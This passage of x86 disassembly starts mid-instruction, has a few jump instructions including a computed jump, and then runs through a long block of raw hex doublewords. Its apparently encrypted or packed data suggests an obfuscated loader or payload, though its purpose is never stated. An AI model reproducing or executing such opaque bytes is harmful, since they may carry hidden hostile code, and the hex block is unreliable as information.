esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- db 0C8h, 0C0h, 34h ; --------------------------------------------------------------------------- mov eax, 801F006h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 37h, 9Bh, 0F6h dd 32F8861Eh, 13202B20h, 74BA6039h, 2D83DA32h, 62991E1Ah dd 0FC8A5952h, 0A6CE6A71h, 624F7820h, 0B7BDA03h, 0C9810632h dd 0E0E9627Eh, 0E24D523Dh, 7F12FD58h, 9B9E8E72h, 51C5E66Bh dd 0CFCCE737h, 74CF4144h, 9824780Eh, 0C2DA7B7Bh, 0E27ED53h dd 0F1D63679h, 8E7B602Eh, 0F1267F3Ah, 0DE85Ah, 981B0000h dd 0B52CC010h, 0A1E4250Ch, 66A4A134h, 2F04C981h, 19810F5Fh dd 0E8000000h, 0Dh, 2CF0958Fh, 303502C5h, 9E5B5FB3h, 800FBEh dd 5B000000h, 6957C781h, 0C1810000h, 63C34709h, 0BEh, 12E800h dd 0BE550000h, 15DAB13Ch, 4B70AC4Ch, 0CB8BBC17h, 735290F1h dd 5BCEBF0Fh, 0E937048Bh, 0Ch, 0BB19D812h, 65F4EBA5h, 983655A5h dd 1469E881h, 7E85A38h, 99000000h, 9916B9EFh, 0C3806E4Bh dd 0C0815B5Ch, 6C1E12C6h, 3820Fh, 8B660000h, 0DC081D7h dd 0E9447DC6h, 6, 1963BB2Fh, 4893C2Ch, 0F2805037h, 0EE95B88h dd 18000000h, 4C511DFCh, 6E74DF28h, 0E5E77AACh, 2EE8367h dd 4EC2D980h, 13E94Eh, 0DEFE0000h, 0E5F2A002h, 9089A344h dd 27FAFF5Ah, 1042712Fh, 98FE81AAh, 0FFFFF97h, 0FFFF6F85h dd 2DBA66FFh, 12E81Bh, 0B9C50000h, 0E83AC46Ch, 3C98E737h dd 209FE34Bh, 5AFFFA67h, 0DE9h, 1680AB00h, 79589B22h, 0C2698E1h dd 8B5A1BECh, 0AAC281CEh, 6600005Eh, 0DB33C18Bh, 348BCF8Ah dd 81C38B1Ah, 51CC1AEEh, 0B860F4Fh, 0E9000000h, 6, 630B7343h dd 0F68104A9h, 0EEE0A4Dh, 81C7B70Fh, 0BFA2A2EEh, 28B0F51h dd 8B000000h, 0E95756CBh, 5, 7341B011h, 48F5921h, 23B5FC1Ah dd 6003EB83h, 12E9h, 8962800h, 2AF7FF0Dh, 7AEFC43Fh, 9B9ABCF8h dd 662DED10h, 61A12BBFh, 0CCE9B94Bh, 0FB811033h, 0FFFFA214h dd 0FF88850Fh, 11E9FFFFh, 0DB000000h, 0F7736F4Ah, 29D59F3Eh dd 0AC9FFF25h, 0E280F755h, 0ECE9h, 0 dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch dd 0F200007Ch, 276h, 5 dup(0) dd 80ADA000h, 7Ch, 2Bh dup(0) dd 600h, 3CB02C00h, 11EF2232h, 314A9016h, 2455F7FEh, 6AAA416Ah dd 0AC061301h, 41A54848h, 1564063Dh, 74064432h, 0D8DBA153h dd 1561EB18h, 0A8E58147h, 129C5CABh, 457F5632h, 0ADA69A61h dd 15668C23h, 35AFC1BBh, 88EB25C8h, 129AF316h, 4D3D5BCDh dd 0DFFF9B1h, 616625C8h, 0AD354125h, 15668C23h, 35AFC1BBh dd 88EB25C8h, 129ACE21h, 4D3D5BCDh, 1569ADC7h, 0D21D2232h dd 0E1EB153Ah, 39EB24A5h, 0CB1E6AE2h, 1CE22D66h, 75661132h dd 15E187CAh, 74664432h, 46A5AB61h, 969E4A6Ah, 1494608Fh dd 9169443Ah, 15662257h, 156600DBh, 5147BE32h, 0B2D9A19Dh dd 0FF7EE539h, 0B8B00EB2h, 90EB3A79h, 1D672842h, 156631DBh dd 238BA32h, 1C9CC96Bh, 3273F37Dh, 9F53DE42h, 0BF6E9C62h dd 956958CDh, 15664433h, 0B5E3AFCEh, 0FC6E105Eh, 15668839h dd 931A8841h, 49107B60h, 0EA227B6Fh, 9969E8E2h, 15664437h dd 5021ED89h, 0CAED772Ah, 70E34E53h, 4361BE34h, 1567A93Dh dd 0EC9F1132h, 0BDDEDA5Ah, 0A099BDAEh, 129C02A7h, 156AF952h dd 0D1FC8832h, 1DEA1C6Ah, 0CABCE1E1h, 9B6949C4h, 15668832h dd 1563AD6Ch, 0E9042232h, 740488BDh, 0B6BB0DBFh, 956943CFh dd 1566223Eh, 156616DBh, 0B74DB032h, 416EB3DFh, 9C9FF2CDh dd 0EF6D94B7h, 0CAE7E835h, 5F8FEAB3h, 74A59D3Dh, 19B794F5h dd 15668FC8h, 1A8F4432h, 2D662232h, 1021ADC1h, 0AF9202C3h dd 0DA4F3B44h, 90A0AB37h, 129C1757h, 7C0E7077h, 0FCE8365Bh dd 15662239h, 14EE5025h, 0F6B0E540h, 0EAC8ABCAh, 0EF6E8787h dd 156AF835h, 0C5318832h, 0CBB216D1h, 8119692Ah, 90EBA0C0h dd 129CB2D0h, 156648DBh, 586BB432h, 0A88F72F9h, 1D72648h dd 0FCB6BBB0h, 1566223Dh, 0FB689E9h, 82794F2Ah, 948AB603h dd 9C2E820Ah, 0EF4CB8B7h, 7507E835h, 70E38253h, 5661D834h dd 1574F952h, 0FA408832h, 94722A7Eh, 3546A0A2h, 1AE1562Ch dd 24BF4D7Fh, 743DB3B9h, 720D7C5Ah, 0A099EDAEh, 129C8097h dd 156643DBh, 4CB98132h, 848F0E0Bh, 2F840DBFh, 0EA9E43C8h dd 1560CBE2h, 97DB1132h, 144F179h, 15664BDBh, 2F9F5232h dd 0E0D5B7F9h, 989FF5A3h, 6C713A25h, 0E7B6A7BBh, 99691933h dd 15668825h, 0FC391652h, 1566223Ch, 9E087CE8h, 1301D5Fh dd 52D5FFBh, 0D307AB0Fh, 0EF6074B7h, 128FDC35h, 9D664432h dd 5A9E618Ah, 3C0E0B1Eh, 1A88EA5Ah, 156645B1h, 0A099DA32h dd 129C1997h, 0F7E305CAh, 1A61BE08h, 156633B1h, 0A2697132h dd 156060E4h, 0FCC04432h, 0ED9EE4A8h, 0C599706Bh, 78F7052h dd 32664432h, 7819B8DAh, 0B338C33h, 33B23250h, 7BADA6F2h dd 90EF432Bh, 1D67E3E6h, 70E34EC7h, 5061BE34h, 156AA23Dh dd 94691132h, 15668834h, 1566CD3Dh, 0D70E2232h, 0FCBC710Ah dd 15668820h, 0FA7F609Dh, 65CE470Bh, 995A5A25h, 4C591D7Eh dd 0A09999EBh, 129C2A97h, 15661FDBh, 0FC995732h, 0CD8B1983h dd 0B7538608h, 987A2335h, 0EF5C6AB7h, 0C599B835h, 0CDE3ABCBh dd 1A6E10C0h, 156687BCh, 156CAD32h, 0C9962232h, 348BAD93h dd 44284F23h, 156ECE3Dh, 98692232h, 15661130h, 0A8E5E952h dd 129C77DFh, 0EE32D32h, 75661133h, 7596373Dh, 0D30725CEh dd 0EF6047B7h, 93695435h, 15668825h, 1577C33Dh, 198F2232h dd 0BB661132h, 0D95C38D6h, 7E57AA27h, 7DF06CC0h, 0EF466FB4h dd 15668FDBh, 2AFB9732h, 31C7723h, 1DC3A4CDh, 92698FC8h dd 15664438h, 156627DBh, 63D18B32h, 90EB9D00h, 129C7ED0h dd 1567A73Dh, 0EA9E1132h, 9869E8E2h, 15664430h, 0BEDF8E86h dd 740B4DAEh, 0E7BA0DBBh, 98694C33h, 15662233h, 70E3D7C7h dd 59617234h, 0C5A52CCEh, 0EA9EC214h, 0EF6EB487h, 156D6135h dd 0B86B4432h, 9F1536C2h, 495B64BCh, 0F7E30580h, 0FC61BE08h dd 15662226h, 98657343h, 5DEA903Bh, 37D09A78h, 0F9972D49h dd 12FA96BCh, 58F58CDh, 25664432h, 0C912A73Bh, 0A430A937h dd 0D5B99C1Eh, 9C00D417h, 1494C2B7h, 18F713Ah, 61668832h dd 7892372Ch, 3041522Ah, 91206E5Fh, 0B439D1DFh, 1A87196Fh dd 156620B4h, 743D4232h, 156672DBh, 1576AD32h, 9BE32232h dd 0E3FA594Ch, 0B725527Dh, 2B9DF1A7h, 90A07109h, 129C1757h dd 14E98760h, 0EC664432h, 5F822F5Ah, 108E718Eh, 0B7668832h dd 8AC41996h, 156629DAh, 49364232h, 805F3765h, 0F4651248h dd 94007869h, 74F86FF3h, 3FDB3DCDh, 989F43C8h, 0EF5CC0B7h dd 1563F835h, 0FE658832h, 0EA74B108h, 156FCBE2h, 0AAC21132h dd 0CF45FD9Eh, 9C38068Dh, 1494FEB7h, 90A0ED3Ah, 129C8E57h dd 1A062460h, 156622B9h, 58E7032h, 0A4668832h, 0C9C1BE4Dh dd 0E66C2DFCh, 0D34F05C4h, 0FCDC4FFFh, 15664434h, 0E86ACF7Bh dd 7439312Ah, 592CC05Ah, 75932494h, 0AF007C60h, 7407F42Bh dd 3FDB3DCDh, 989F43C8h, 0EF5CC0B7h, 0EA077135h, 7506E8E2h dd 15EB4B53h, 74662232h, 1A0670C7h, 15668EB2h, 15EC4B32h dd 73662232h, 9C07CBB9h, 149468B7h, 1563AD3Ah, 0FBFB2232h dd 0D38C03DBh, 0EF60EDB7h, 0A1061635h, 906943EFh, 1566113Eh dd 1560023Dh, 98694432h, 15662232h, 57D2FB5Ah, 0D2EDE8CFh dd 0FC3D1552h, 15662239h, 4D148BCFh, 197A9774h, 74161BD0h dd 0B0D3DD53h, 0E961EB3Ah, 2F840DBFh, 0EA9E43C8h, 90EFDEE2h dd 129C095Fh, 15668DDBh, 0FE320B32h, 90A05057h, 129C1757h dd 0B60E7145h, 7595D39Ah, 156633DAh, 0CE43DC32h, 539F6C8Fh dd 4BDAD8DCh, 0AE304090h, 0AA69DB0Ah, 0CBE7D3F2h, 3F887084h dd 0D3DD53h, 7561EB37h, 0C7E7EEC7h, 98070F7Dh, 0EF5CC0B7h dd 1574F835h, 939D8832h, 9E9B5525h, 0DC21D78h, 3769C713h dd 46B750E8h, 0D4E72252h, 0C5EDB5C4h, 1AB6EE53h, 15669FB8h dd 1574AD32h, 77A42232h, 19D59E04h, 50289B79h, 0FF126FD8h dd 0BCDF8AF6h, 30B94BBh, 95698FC8h, 15664433h, 1560CBC7h dd 0C2A61132h, 46A6B523h, 1303C1F4h, 0FC3425C8h, 15661121h dd 0AE360088h, 6C2CB150h, 778741B1h, 0B57B54A1h, 7DA646B5h dd 9FBB7525h, 156BA83Dh, 73061132h, 8B594FB3h, 1566CC3Dh dd 0EA072232h, 0EF6EB487h, 1DE98735h, 75664432h, 0BBADF8B3h dd 0FC075246h, 15668820h, 0DF5C399h, 21447BD4h, 0FA6A661Ah dd 201DE820h, 90EB338Dh, 129C18D0h, 15739F3Dh, 58F8832h dd 30664432h, 0E58F2E8Bh, 2213B922h, 5BC22DD8h, 0EA5DEDA2h dd 1B8F42E2h, 0D2661132h, 58707D34h, 0D977E0D4h, 0E729BC88h dd 749D9A98h, 4AB0DBBh, 198F43C8h, 9C662232h, 0C2F883FEh dd 78BDBD7Dh, 0D3D6A997h, 0EF6047B7h, 9E064735h, 749503E8h dd 0A0B7D5Ah, 0A099DEE6h, 129C31A7h, 0C8E305CAh, 7561B991h dd 156629DBh, 0FD025932h, 0C6940683h, 6700057Fh, 156636DAh dd 8DC91032h, 622B6946h, 72151BA9h, 2455DA25h, 37EF284h dd 4BA43DD8h, 0FCB6BB53h, 1566223Dh, 0C9D428F0h, 0D0B9B759h dd 4B928AE1h, 9CF234D8h, 0EF6664B7h, 3EF8735h, 75664432h dd 0FDA4A954h, 15661139h, 0F517B53Ah, 9B30CB81h, 4E3ADE7Bh dd 70E3D753h, 52617234h, 15664EDBh, 55DB7D32h, 64AFEB33h dd 7D0F7FE6h, 94BA5448h, 0DED12D52h, 574FC0B3h, 0EA079BF3h dd 0EF6EE187h, 48F4235h, 5E661132h, 0A7350081h, 86F39C6Ch dd 7E8C2714h, 995116AFh, 168C0954h, 90EB25D6h, 129C18D0h dd 75B6EECAh dd 0E5890954h, 0AC0013D5h, 743FF5AEh, 186B94BBh, 1B8F8FC8h dd 84664432h, 54B3850Bh, 0FBB73C6Ch, 59423C07h, 70E382BFh dd 5261D834h, 156601DBh, 3173EA32h, 27DD443Dh, 0F276971Ah dd 7C271769h, 0A084E033h, 9969CE3Dh, 1566223Eh, 156616DBh dd 5C4E0E32h, 0ECB8D334h, 1DC397CDh, 188F16C8h, 0B4668832h dd 4831DE62h, 4A533951h, 0CA2F05Fh, 2F840DBFh, 0EA9343C8h dd 1B8F42E2h, 68661132h, 0F7953E73h, 23E9D77Eh, 5AC375E0h dd 5D37121h, 90EFE953h, 1D67B732h, 4B354252h, 90A17053h dd 129C899Fh, 1566444Ah, 1567A03Dh, 96931132h, 0EF40798Fh dd 91694435h, 15663B97h, 156E9B3Dh, 1A068832h, 156644BBh dd 90A04332h, 129C1757h, 9E00E87Eh, 0D1AFC5C2h, 7477C5D4h dd 0CF7AF85Ah, 157761EBh, 4D9B4432h, 7E0C8889h, 0DDB6272Fh dd 4C618753h, 0EA4D1DA3h, 0EF6E8787h, 0DE21E35h, 0FC668832h dd 15664421h, 0AECCD07Dh, 0E4D8C16Eh, 0A08DCCDFh, 0B52AC43h dd 0FC8B4F81h, 15661137h, 64847EEBh, 0F7E3C90Dh, 0FC61D808h dd 1566113Ch, 2F0C1B6Bh, 1C06946Ch, 833E0067h, 0C599674Ah dd 0F9E301C7h, 0FC6E45C0h, 15662239h, 621B3EF1h, 0A64825F9h dd 0D300974Fh, 0EF6047B7h, 0A3065D35h, 0EF950916h, 7460D429h dd 61B8EC5Ah, 19E61EEFh, 1A668832h, 156642BFh, 15EC2D32h dd 0EA661132h, 0EF6E2D87h, 0CE54B35h, 0FC662232h, 15661126h dd 31167782h, 96B2290Ah, 614F007Eh, 0AD9831F2h, 4CEF325Bh dd 2F84C1BFh, 0EA9F25C8h, 90EFE8E2h, 1D677AC2h, 0D5D92252h dd 74E9930Eh, 0D2E77752h, 9E00969Fh, 90A025C9h, 129C2457h dd 18ED1E7Eh, 0FC668832h, 1566443Ah, 21E43EA7h, 0AED2737Ah dd 15669CDBh, 0ECC0A532h, 4339BA52h, 7AFAC2Ch, 0EAFD5FB8h dd 682A3047h, 97594AB4h, 9969A6B3h, 1566882Fh, 1575AC52h dd 692F2232h, 157D215Fh, 0E320D9E5h, 29734EF3h, 65FF0F64h dd 74064B8Ch, 0A0997D53h, 129C4C97h, 156636DBh, 2C533432h dd 59230F1h, 6095DBDEh, 555E8332h, 0B72054C0h, 0F7E30508h dd 0E961BE08h, 48FF2CDh, 7C661132h, 9D720FE4h, 785AFEC8h dd 0C00C76C2h, 41C64564h, 0E1E301CEh, 0FC6E45C0h, 15662222h dd 7712D227h, 9C1A8D1Ah, 7A997189h, 0D7B0C8ACh, 130394F4h dd 752A8FC8h, 36FCFA54h, 0D0E43C7h, 75D53E72h, 0EA0758B9h dd 0EF6EE187h, 19E82D35h, 0FC661132h, 15668835h, 193C533Bh dd 98586AF2h, 0EF5CF3B7h, 14E48735h, 0E9664432h, 1E8FF2CDh dd 1E661132h, 19123D16h, 0F2A0B768h, 90EFCE53h, 1D67E3C6h dd 9FD9E852h, 1A64C6BAh, 156622BFh, 0A2697032h, 90A0E9F5h dd 129C4257h, 10EDB74h, 1ADCCF34h, 156689BDh, 0A099B132h dd 129C2A97h, 15661EDBh, 0AC88E532h, 1D07C75h, 0F6175C5Bh dd 54F0124Fh, 15690B3Dh, 1F8F4432h, 51662232h, 4165CA11h dd 57C5EF4Dh, 0F7E3C9E8h, 0FC61D808h, 15661138h, 820F87B1h dd 8F07C9F9h, 0C5997FFCh, 156616DBh, 0EF98C32h, 0E35304C3h dd 0E79AA7BBh, 0D39E1933h, 0EF60EDB7h, 188F0335h, 0E3662232h dd 7A49D481h, 0EB508BCh, 960AFAB7h, 0C976585Ah, 14E51EB3h dd 0E0668832h, 1DC3F1CDh, 750625C8h, 63BDC6B3h, 4A36D0F8h dd 1568AC53h, 0AE232232h, 0FE52B233h, 0EA3046B7h, 1AFB67B4h dd 13E5C8B3h, 743C2AF8h, 2F840DBFh, 0EA9F43C8h, 1568CBE2h dd 0C61E1132h, 6E30AA01h, 7C9D3A21h, 0FA299339h, 0E66294BBh dd 1A8F8033h, 2C664432h, 0EEEBB778h, 2A9518A4h, 91958825h dd 0D39F7B8Ah, 0EF6047B7h, 1A065635h, 1A075985h, 156648B7h dd 13E12D32h, 1A661132h, 156688B2h, 9BCA2C32h, 9B69CDB5h dd 15661133h, 156961CAh, 3B044432h, 0C1F77808h, 401524E5h dd 2D6058A6h, 0B0D3BB5Dh, 7561D83Ah, 156618DAh, 0EAE3CA32h dd 95BE470Dh, 0AB001B0Fh, 1A3EA3B7h, 15668ABCh, 743D1632h dd 1572AA3Dh, 1A8F1132h, 4A668832h, 279C948Ah, 2C3E7963h dd 6991E07Ah, 90EB0F31h, 129C7ED0h, 1AB6DDCEh, 156610B7h dd 90EF7132h, 1D67B73Ah, 70E3E4CAh, 5261EB34h, 156685DBh dd 22AF8C32h, 3831483Ch, 79BF4762h, 0C70E46D6h, 0E9B2DE95h dd 1DC397CDh, 730616C8h, 0AA5F418Dh, 12C37EC8h, 0F7E3AF53h dd 0ED61EB08h, 0FD0658CDh, 1566443Ch, 934B67D1h, 0BC1EBED3h dd 8F572A1h, 0AA00969Ch, 733CADA9h, 9C07C2B9h, 149584B7h dd 90A0B83Ah, 129C2457h, 156DF875h, 73928832h, 232F3CFDh dd 0DF3E9416h, 940071AEh, 74A29CF2h, 0D45F405Ah, 0FE52D88h dd 75661132h, 48FD061h, 0F664432h, 12426F0Eh, 8F7CCBA6h dd 3685A73Bh, 7A52F35Ah, 0B0D3DD53h, 7561EB3Ah, 156685DBh dd 0AFE98332h, 44536F4Dh, 81F0ADA6h, 0AD003569h, 980721D2h dd 0EF5CC0B7h, 0C599E435h, 156698DBh, 2BFECD32h, 0D2D51A88h dd 75CEA402h, 0FF053E83h, 5E3CD8Bh, 0E96E23C1h, 347FACB1h dd 1A668FC8h, 1566DCB7h, 13ED2D32h, 75661132h, 0E5EDE952h dd 90A0BC53h, 129C2457h, 720EE975h, 1A86FA1Fh, 156645B2h dd 0A099DB32h, 129C1997h, 0F7E305CBh, 7561BE08h, 1565A63Dh dd 0A2691132h, 1E8FE9FAh, 40664432h, 5C17E64Bh, 1624D31Fh dd 0C5999E9Fh, 198F2452h, 96662232h, 53C36D73h, 84F64EB0h dd 0AFE2A080h, 75593919h, 156FF953h, 0D85E8832h, 629DC84Bh dd 1AF9A03Bh, 743DE88Dh, 0E6720DBBh, 9D694C33h, 15662227h dd 188FE452h, 0CA668832h, 3000FE36h, 0F44A2ED4h, 0E68F3027h dd 70E34E53h, 5261BE34h, 156627DBh, 0F7A96132h, 0A40E1D62h dd 0FCE86D81h, 15662226h, 205AB3DAh, 0A58FFF8h, 0B6FC70B6h dd 0D7B1F9B5h, 5FD1DFE6h, 1DC33DCDh, 9C6943C8h, 15662239h dd 156617DBh, 55149A32h, 98A7595Eh, 0EF5CC0B7h, 14E81E35h dd 0E9668832h, 1B8F94CDh, 78662232h, 8494A569h, 12D0F58Eh dd 41D99874h, 0DE3ABE9h, 756E10C1h, 0BCC5FB3h, 9400640Dh dd 7430DED5h, 130394F4h, 0EC258FC8h, 632CE35Ah, 9E0042F2h dd 740643EBh, 0A099E96Dh, 129C4C97h, 0F7E3AFCBh, 1A61EB08h dd 156692B0h, 1EA4B32h, 0FC662232h, 1566113Dh, 4925B4E2h dd 0C201F7EAh, 9DCAE69Ch, 0EAFA79B0h, 32E287E2h, 75664432h dd 15662BDAh, 6CB78F32h, 975ECB4Ah, 0FD3F6F0Ah, 15662222h dd 60CBA13Fh, 55A3F2A8h, 1676158Bh, 951B6C49h, 90EF7068h dd 1D677B2Eh, 5B24FE52h, 1C8F6985h, 10661132h, 0C28C7172h dd 2322A649h, 1574CB53h, 0C7FE1132h, 72A3334Bh, 48D228BBh dd 7623F340h, 63C4BBF1h, 13030DF4h, 0FC2A43C8h, 15662220h dd 0FA9EF2E4h, 4192849Ch, 40A49A0Ch, 76C5F41Fh, 0FE0EFCF3h dd 0E99DEE5Eh, 1073F1CDh, 966925C8h, 15661127h, 156698DBh dd 5788D032h, 2915E445h, 8CACFE26h, 0EDB0E8E5h, 0F7E3C95Ah dd 0EC61D808h, 9E06C1CDh, 9C0770EBh, 1495F4B7h, 0BE62D3Ah dd 1A661132h, 156690BEh, 1575AD32h, 0DBE42232h, 0EBA19067h dd 0BF1BC027h, 0C9CF56Eh, 0CA9F1DC7h, 70E3D7EDh, 51617234h dd 156CC73Dh, 0A7062232h, 15E81EFBh, 74668832h, 66E8115Ah dd 1560CB89h, 0CFCF1132h, 156128AFh, 1DC3F1CDh, 1A0625C8h dd 0AF00CA85h, 7507F1E1h, 1563CD3Dh, 94002232h, 0A42C23DAh dd 90EBE92Dh, 129C7ED0h, 75B6DDCEh, 1A9E9A54h, 15668BB4h dd 0C6D94B32h, 35E3AB53h, 1A6E10C1h, 156680BBh, 17EF4B32h dd 75662232h, 70E3D753h dd 56617234h, 1569AC52h, 28312232h, 70EC4944h, 240086C9h dd 0F86546A1h, 1576CADCh, 0A38B1132h, 0E7924A85h, 0C33381E3h dd 691ECEA9h, 4A3F3080h, 156699DAh, 0FCCB9832h, 61F1825h dd 0FD2FA346h, 1BB20A4Eh, 0D2ED36DBh, 9D69436Ah, 15661121h dd 156686DBh, 0ECE80232h, 1123CA0Ah, 56CB8F5Ah, 7D13B1EDh dd 0A9E82ACEh, 0B0D3DDC7h, 0E961EB3Ah, 2F840DBFh, 0FC0643C8h dd 15662234h, 5BD8C685h, 0CFED93B8h, 0E0B6BB53h, 0E642A7BBh dd 759A1933h, 94006AB8h, 74EF97D5h, 1303A7F4h, 1A3516C8h dd 156685B9h, 156EAD32h, 84292232h, 4CB35E45h, 0BF0EE785h dd 75A0540Ch, 43F1D0B3h, 0A2692DABh, 0A099E9C5h, 129C4C97h dd 0F7E3AFCBh, 1A61EB08h, 156685BEh, 156EAD32h, 2CD12232h dd 5DC1A7EFh, 0C599A62Dh, 17E84B52h, 9E662232h, 1931A9C5h dd 9C07809Eh, 14956CB7h, 1575CB3Ah, 1D011132h, 0E57A0B96h dd 0C08EECBFh, 29E01CFEh, 704F048Bh, 80DB0BAAh, 1561BE3Dh dd 16BAA63Dh, 73061132h, 0E0F6FB3h, 15664DDBh, 0DFBAA132h dd 0A9CD055Ah, 0D307626Dh, 0EF6021B7h, 198F6435h, 49661132h dd 0EBF6E5EEh, 0EFD2279Ah, 7D5B153Ch, 0EFF0DF03h, 0B0D377CAh dd 0ED61BE3Ah, 2F84A7BFh, 1A8F16C8h, 3668832h, 4AE810F6h dd 3EF52AFEh, 0FF3CBC8Dh, 0C599BEF8h, 16E64B52h, 73662232h dd 9E00E1B9h, 90EFE9C8h, 1D67B7B6h, 70E3E4CAh, 5361EB34h dd 156687DBh, 27880032h, 0DAA7178Fh, 25FB3B9Fh, 814D9D9h dd 0B25C925Ah, 156BCBCEh, 19401132h, 0EF2A93DEh, 6C28FB44h dd 0EA7D857Dh, 0EF6EB487h, 19E98735h, 1A664432h, 156624B3h dd 15EA1E32h, 98668832h, 0EF5CA6B7h, 0C599DE35h, 81E398CBh dd 1A6E89C1h, 156645B4h, 90A0DE32h, 129C1757h, 2E28774h dd 0FC664432h, 15662220h, 48C34CCBh, 772C9C8Bh, 843C7E1Ch dd 6653F5E6h, 150E8567h, 0EDF47496h, 1DC3F1CDh, 430625C8h dd 0A6DAD0B3h, 743FA316h, 2F84C1BFh, 68F25C8h, 0F2661132h dd 57E064BBh, 0B576FC2Dh, 301AE3C2h, 0F3934726h, 0C5998D2Eh dd 156655DBh, 0B2DD9132h, 0C010445h, 82D61F6Ah, 0AAB5E0EAh dd 1E8F51F7h, 0F3661132h, 67BC742Dh, 3EFA5AAh, 90EF539Bh dd 1D67E2AAh, 1572033Dh, 1A8F4432h, 0DB662232h, 0C825DADFh dd 0F382CCFAh, 8964865Fh, 90A0C082h, 129C1757h, 156D6174h dd 0A5C04432h, 6A1342BEh, 727EABACh, 5A0CE090h, 0EA9EB2E6h dd 0EF6E8787h, 9A697135h, 15668830h, 0D4ED97B8h, 0F7E3AF53h dd 0FC61EB08h, 1566883Eh, 15926C59h, 0D3D4E9C4h, 25996172h dd 15460A3Dh, 0FC064432h, 15662226h, 0E27B233Ch, 9075308Ah dd 0D5A9FA54h, 9E009A87h, 7FC992D7h, 371EFF8Ah, 0C5992559h dd 156632DBh, 5EC56F32h, 1627E8AAh, 6FDFCF88h, 0A2BA1C50h dd 89E3982Ah, 0FC6E89C1h, 1566443Ah, 2365FFC6h, 0F952D71Ch dd 13030DF4h, 752043C8h, 15EA2D64h, 4B661132h, 15669BDBh dd 159C0A32h, 889DE08Eh, 478BCEA5h, 8C0E6DFCh, 48821597h dd 45814A53h, 940685FFh, 4064B6D4h, 749ECF28h, 1DC397CDh dd 0E90616C8h, 0F7E30553h, 7561BE08h, 717ECBB3h, 0AA693F38h dd 0C599E9E8h, 156656DBh, 0EAD4B832h, 0FBC17DF0h, 8B556701h dd 8C82A34h, 9C1DE669h, 149599B7h, 1A8FE83Ah, 0D7664432h dd 77017A7Bh, 80A1EFDBh, 79E629CAh, 9469FE6Fh, 15662232h dd 1574F853h, 0F91F8832h, 3D0A1964h, 0F840C94Dh, 5EDCD2C1h dd 899894E3h, 1303C1F4h, 1A2025C8h, 156607B3h, 15776132h dd 4EC4432h, 78355BC8h, 0ECCAD2BFh, 0E3BEA10Ch, 7DC8DDA1h dd 0A4445609h, 99694152h, 15668832h, 1572AD68h, 1B0C2232h dd 2F037215h, 0C3D4B39Dh, 51304168h, 0C4E208E8h, 0EA070455h dd 0EF6E2D87h, 156EAD35h, 0F0252232h, 6BCA43B9h, 989A0AECh dd 0EF5CA6B7h, 5E52D35h, 0FC661132h, 15668839h, 16EDD0B4h dd 0A2A53C36h, 0E033119Bh, 1A0658CDh, 156642B7h, 15EB2D32h dd 95661132h, 0FC0745F3h, 15664421h, 4A2BFB9Bh, 80C3B4C7h dd 944CD16Ch, 0A983DEFCh, 9C38D343h, 14959DB7h, 0DED7E83Ah dd 90A025CEh, 129C2457h, 14E31E74h, 0E0668832h, 6C8CA95Ah dd 156ECBEDh, 0EF41132h, 2936FB88h, 0A099C9F1h, 129C2A97h dd 157F943Dh, 97698832h, 15664421h, 15662CDBh, 27675932h dd 2A989974h, 0E35E437Ah, 9818D501h, 0EF5CF3B7h, 48EE835h dd 30664432h, 0A9611E46h, 317373A9h, 27DD883Dh, 0F276F11Ah dd 74387A65h, 20D77152h, 17E28753h, 46664432h, 0C5994369h dd 1567963Dh, 9C938832h, 1495D4B7h, 0A8E5D73Ah, 129C302Bh dd 99E38732h, 0FC664432h, 1566223Dh, 0D2E613CCh, 0D0198AC5h dd 75AD4801h, 0D380E888h, 0EF6074B7h, 7D93DB35h, 0DBD8A46Ch dd 156FCA52h, 4D951132h, 2D9D7753h, 730801B8h, 0E235E1B3h dd 98AB9169h, 0B0D37753h, 0FC61BE3Ah, 15662223h, 5C1C075Ah dd 27276912h, 0D5C7FCB4h, 0D55B33E5h, 90EBE961h, 129CB2D0h dd 1AB6BBC7h, 15662EB6h, 1561F832h, 49708832h, 0F63524Fh dd 39E3AB09h, 0FC6E10C1h, 1566883Dh, 877A81BCh, 55F807FCh dd 0E6BFC6EAh, 0D3131EBDh, 0EF6021B7h, 7D9F6535h, 0D2D74FB5h dd 1567023Dh, 0EA9E4432h, 0EF6E8787h, 0CEE77135h, 26481533h dd 9807AC81h, 0EF5CC0B7h, 0DAED7135h, 61E9368Ah, 0C5992526h dd 15662FDBh, 0FFD0532h, 3162B9C3h, 0F14B872Eh, 90EF141Bh dd 1D67E202h, 0CDB0BCBh, 1561BE13h, 151EA73Dh, 9E691132h dd 15668822h, 15664FDBh, 0CC85CF32h, 0E5199645h, 0DCAB80E4h dd 1303C1F4h, 752125C8h, 0CEE77761h, 1A3DC638h, 7D07BF85h dd 0F3045C37h, 0B0D3EECEh, 7561723Ah, 95695187h, 15662230h dd 98074962h, 0EF5C6AB7h, 0C599B835h, 156628DBh, 0BC493E32h dd 0A039855Ah, 9C656A8Fh, 149516B7h, 1575F83Ah, 53F18832h dd 4BF2EF5Eh, 0D2C25E38h, 8A1A8219h, 3B3BF031h, 90A0B8D1h dd 129C2457h, 1E8E7171h, 0B1668832h, 7E1C6CF3h, 55FF23Fh dd 0AA69DAC9h, 0E4ECD1F8h, 1C902C53h, 68FB048h, 0D661132h dd 8519EFB9h, 7E134002h, 1479C3E4h, 0DDDF486Dh, 0A099C5B2h dd 129C4C97h, 156DA93Dh, 138F1132h, 45668832h, 1C17C0F8h dd 0F7E3AF06h, 0FC61EB08h, 1566883Bh, 48783289h, 38E22496h dd 0FCB6EEBDh, 15668822h, 841E8319h, 79054258h, 71B36184h dd 3DA99E95h, 0E65EC1BBh, 0D3932A33h, 0EF6074B7h, 759ACB35h dd 0EFD822C7h, 350E43C1h, 0FC9A30A5h, 15668839h, 0BFB5E58Fh dd 98DCD760h, 0FC1568E8h, 1566883Eh, 0C8593DECh, 5BD78A5Eh dd 0CAD86729h, 1DC33DCDh, 9C6943C8h, 15662239h, 156617DBh dd 0FC6CA532h, 0FCCA5BA4h, 1566223Bh, 77B29794h, 8C958BFAh dd 0F7E3C97Ch, 7561D808h, 3FBF9054h, 17E28735h, 42664432h dd 0C5994369h, 29E398C7h, 756E89C1h, 74B6CF54h, 73949252h dd 0DCEDC6B3h, 0CDB0B53h, 1561BE13h, 1426A73Dh, 0D3931132h dd 0EF60EDB7h, 93690735h, 15662226h, 1568983Dh, 1C8F8832h dd 0C0664432h, 6B8AE332h, 0CD44C42Ch, 15CE8B5Ah, 1D8F24B9h dd 30662232h, 0C5057563h, 